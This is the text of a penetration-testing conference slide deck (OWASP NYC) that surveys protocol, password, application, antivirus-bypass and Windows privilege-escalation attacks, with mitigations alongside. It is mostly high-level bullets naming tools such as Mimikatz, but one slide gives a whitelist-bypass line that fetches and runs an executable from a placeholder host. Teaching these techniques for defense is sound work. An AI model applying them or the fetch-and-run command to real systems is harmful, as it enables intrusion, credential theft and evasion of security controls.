![Page 1: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/1.jpg)
Attack All the Layers: What’s Working During Pen Tests
Scott Sutherland and Karl Fosaaen
![Page 2: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/2.jpg)
Introductions
• Scott Sutherland
‒ Principal Security Consultant @ NetSPI
‒ Twitter: @_nullbind
• Karl Fosaaen
‒ Senior Security Consultant @ NetSPI
‒ Twitter: @kfosaaen
We specialize in boththings and stuff!
![Page 3: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/3.jpg)
Overview
• Why do Companies Pen Test?
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
• Conclusions
![Page 4: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/4.jpg)
Why do companies pen test?
• Compliance requirements
• Evaluate risks associated with an acquisition or partnership
• Validate preventative controls
• Validate detective controls
• Prioritize internal security initiatives
• Proactively prevent breaches
![Page 5: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/5.jpg)
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
![Page 6: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/6.jpg)
Attacking protocols
• ARP: Address Resolution Protocol
• NBNS: NetBIOS Name Service
• SMB: Server Message Block
• PXE: Preboot Execution Environment
• DTP: Dynamic Trunking Protocol
![Page 7: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/7.jpg)
Attacking protocols: ARP
Address
Resolution
Protocol
![Page 8: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/8.jpg)
Attacking protocols: ARP
• General
‒MAC to IP association
‒Layer 2• Conditions
‒ Independent of user action
‒Broadcast network• Attacks
‒MITM Monitoring
‒MITM Injection
‒DOS
![Page 9: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/9.jpg)
Attacking protocols: ARP
![Page 10: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/10.jpg)
Attacking protocols: ARP
• Common mitigating controls:
‒ Dynamic ARP Inspection
‒ Port Security
‒ Static Routes (not recommended)
![Page 11: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/11.jpg)
Attacking protocols: NBNS / LLMNR
NetBIOS
Name
Service
![Page 12: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/12.jpg)
Attacking protocols: NBNS
• General‒ IP to hostname association
‒ Layer 5 / 7
• Constraints‒ Dependent on user action
‒ Broadcast Network
‒ Windows Only
• Attacks‒ MITM Monitoring
‒ MITM Injection
‒ DOS
![Page 13: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/13.jpg)
Attacking protocols: NBNS
![Page 14: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/14.jpg)
Attacking protocols: NBNS
![Page 15: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/15.jpg)
Attacking protocols: NBNS
![Page 16: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/16.jpg)
Attacking protocols: NBNS
• Common mitigating controls:
‒ Create a WPAD (Web Proxy Auto-Discovery) server entry in DNS
‒ Disable NBNS (recommended)
• Might cause issues with legacy apps
‒ Disable insecure authentication to help
• limit impact of exposed hashes
‒ Enable packet signing to help prevent
• SMB Relay attacks
![Page 17: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/17.jpg)
Attacking protocols: SMB
Server
Message
Block
![Page 18: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/18.jpg)
Attacking protocols: SMB
• General‒ SMB is the come back kid!
‒ Layer 7
• Constraints‒ Dependent on user action
‒ Any routable network
‒ No connecting back to originating host
• Attacks‒ Command execution
‒ Shells..aaand shells
![Page 19: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/19.jpg)
Attacking protocols: SMB
![Page 20: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/20.jpg)
Attacking protocols: SMB
• Historically, SMB Relay has been used to:
‒ Execute arbitrary commands
‒ Obtain shells
• Lately the community has been developing tools for doing things like:
‒ LDAP queries
‒ SQL queries
‒ Exchange services
‒ Mounting file systems
![Page 21: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/21.jpg)
Attacking protocols: SMB
• Common mitigating controls:
‒ Enable packet signing to help prevent SMB Relay attacks
‒ Apply really old patches like if you missed out on the last decade…
![Page 22: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/22.jpg)
Attacking protocols: PXE
Preboot
eXecution
Environment
![Page 23: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/23.jpg)
Attacking protocols: PXE
• General
‒ DHCP
• Constraints
‒ Broadcast domain
• Attacks
‒ Command execution
‒ Access to file system/images
![Page 24: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/24.jpg)
Attacking protocols: PXE
• Common mitigating controls:
‒ Isolate networks
‒ Add device validation
![Page 25: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/25.jpg)
Attacking protocols: DTP
Dynamic
Trunking
Protocol
![Page 26: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/26.jpg)
Attacking protocols: DTP
• General‒ 802.1Q encapsulation is in use
‒ Layer 2
• Constraints‒ Independent of user action
‒ Trunking is set to enabled • or auto on switch port
• Attacks‒ Monitor network traffic for all VLANs, because all VLANs are
• allowed on a trunk by default
• *Full VLAN hopping
![Page 27: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/27.jpg)
Attacking protocols: DTP
![Page 28: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/28.jpg)
Attacking protocols: DTP
![Page 29: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/29.jpg)
Attacking protocols: DTP
![Page 30: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/30.jpg)
Attacking protocols: DTP
![Page 31: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/31.jpg)
Attacking protocols: DTP
• Common mitigating controls:
‒ Use dedicated VLAN ID for all trunking ports
‒ Disable all unused ports and place them on a non-routable VLAN
‒ Configure all user ports as access ports to prevent trunk negotiation
‒ Configure frames with two 802.1Q headers
‒ Configure strong VACLs
![Page 32: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/32.jpg)
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
![Page 33: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/33.jpg)
Attacking passwords
• Hashes and Cracking (Offline)
• Dictionary Attacks (Online)
• Dump in Cleartext!
![Page 34: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/34.jpg)
Attacking Passwords
Tool Function Year
Pass the Hash Passing Hashes 1997
Rainbow Tables Password Cracking 2000s
SMB Relay Relaying Captured Hashes 2001
John the Ripper Password Cracking 2001
NetNTLM.pl Cracking Network Hashes 2007
PTH Toolkit Pass all the Hashes 2008
Hashcat CPU and GPU Cracking 2010
WCE and Mimikatz Cleartext Windows Creds 2012
![Page 35: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/35.jpg)
Attacking Passwords: Hashes
• What are hashes?
‒ A non-reversible way of storing passwords
‒ Operating systems and applications
‒ Lots of types
• LM/NTLM
• Network and Local
• MD5
• SHA
• descrypt
![Page 36: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/36.jpg)
Attacking Passwords: Hashes
• How do we get hashes?
‒ Cain and Abel
‒ fgdump
‒ Metasploit
‒ Mimikatz
‒ Databases
‒ Config files
![Page 37: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/37.jpg)
Attacking Passwords: Cracking
• Cracking Hashes
‒ Rainbow Tables
‒ John the Ripper
‒ oclHashcat
‒ CPU versus GPU
![Page 38: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/38.jpg)
Attacking Passwords: Cracking
0
100
200
300
400
500
600
Minutes for Six Character Brute Force
CPU GPU
![Page 39: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/39.jpg)
Attacking Passwords: CrackingG
PU
CP
U
![Page 40: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/40.jpg)
Attacking Passwords: Passing Hashes
• Passing Hashes
‒ Metasploit
‒ psexec
‒ winexec
‒ PTH toolkit
![Page 41: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/41.jpg)
Attacking Passwords: Dictionary
• Online Vs. Offline Attacks
• Dictionary Attacks
‒ Enumerate users
• Null SMB logins, RPC, *SID BF, SNMP, LDAP, SharePoint, etc.
‒ Attack!
• Are users getting smarter?
‒ Sort of…
• “Summer2014” meets password
• complexity requirements
![Page 42: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/42.jpg)
Attacking Passwords: Cleartext
• Common application configs
• Reversible Formats
‒ Find in files
‒ Groups.xml
‒ Unattend.xml
‒ Registry
• WCE
• Mimikatz
![Page 43: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/43.jpg)
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
![Page 44: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/44.jpg)
Attacking Applications: Common
• Default and weak passwords
• SQL injection
• RFI/web shells
• Web directory traversals
• UNC path injection + SMB relay
• Critical missing patches
![Page 45: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/45.jpg)
Attacking Applications: Breakouts
• Obtain a common dialog box
• Bypass folder path and file type restrictions
• Bypass file execution restrictions
• Bypass file black/white lists
• Access to native consoles and management tools
• Downloading and use third party applications
![Page 46: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/46.jpg)
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
![Page 47: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/47.jpg)
Bypassing EPP: Anti-virus
• PowerShell code Injection
• Execute off network share
• Clone resource tables
• Modify import tables
• Pack files
![Page 48: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/48.jpg)
Bypassing EPP: App White List
• Execution via approved apps
‒ Powershell Code Injection
‒ Rundll32 mydll,DLLMain@12
‒ IEExec http://x.x.x.x:8080/bypass.exe
• Exceptions
‒ File name
‒ Publisher
‒ Directory
• Excessive privileges
‒ Services and policy
![Page 49: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/49.jpg)
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
![Page 50: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/50.jpg)
Windows Escalation: Overview
• Privilege Escalation Goals
• Local Privilege Escalation
• Domain Privilege Escalation
![Page 51: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/51.jpg)
Windows Escalation: Goals
• Local Escalation Goals
‒ Find clear text or reversible credentials with local administrative privileges
‒ Get application to run commands as Administrator or LocalSystem
• Domain Escalation Goals
‒ Find Domain Admins
‒ Impersonate Domain Admins
![Page 52: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/52.jpg)
Windows Escalation: Local
• Local Escalation
‒ *Clear text credentials in files, registry, over network
‒ Insecure service paths
‒ DLL preloading
‒ DLL and exe replacement
‒ Binary planting in auto-run locations (reg and file system)
‒ Modifying schedule tasks
‒ *Local and remote exploits
‒ Leverage local application like IIS, SQL Server etc
‒ *UNC path injection + SMB Relay / Capture + crack
![Page 53: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/53.jpg)
Windows Escalation: Domain
• Domain Escalation – Find DAs
‒ Check locally! (Processes, Tokens, Cachedump)
‒ Review active sessions – netsess (veil)
‒ Review remote processes - tasklist
‒ Service Principal Names (SPN) – get-spn
‒ Scanning Remote Systems for NetBIOS Information - nbtscan
‒ Pass the hash to other systems
‒ PowerShell shell spraying
‒ WINRM/WINRS shell spraying
‒ Psexec shell spraying
![Page 54: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/54.jpg)
Windows Escalation: Domain
• Domain Escalation – Impersonate DAs
‒ Dump passwords from memory with Mimikatz
‒ Migrate into the Domain Admin’s process
‒ Steal Domain Admins delegation tokens with Incognito
‒ Dump cached domain admin hashes with cachedump
‒ Relatively new techniques
• PTH using Kerberos ticket
![Page 55: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/55.jpg)
![Page 56: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/56.jpg)
Conclusions
• Most Networks
‒ Kind of broken
• Most Protocols
‒ Kind of broken
• Most Applications
‒ Kind of broken
All can kind of be fixed
![Page 57: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/57.jpg)
Attack all the layers!
• Any questions?
![Page 58: Attack All the Layers: What's Working during Pentests (OWASP NYC)](https://reader034.vdocuments.us/reader034/viewer/2022042700/5560b73dd8b42a033c8b4b6e/html5/thumbnails/58.jpg)
Attack all the layers!
• Scott Sutherland
‒ Principal Security Consultant
‒ Twitter: @_nullbind
• Karl Fosaaen
‒ Senior Security Consultant
‒ Twitter: @kfosaaen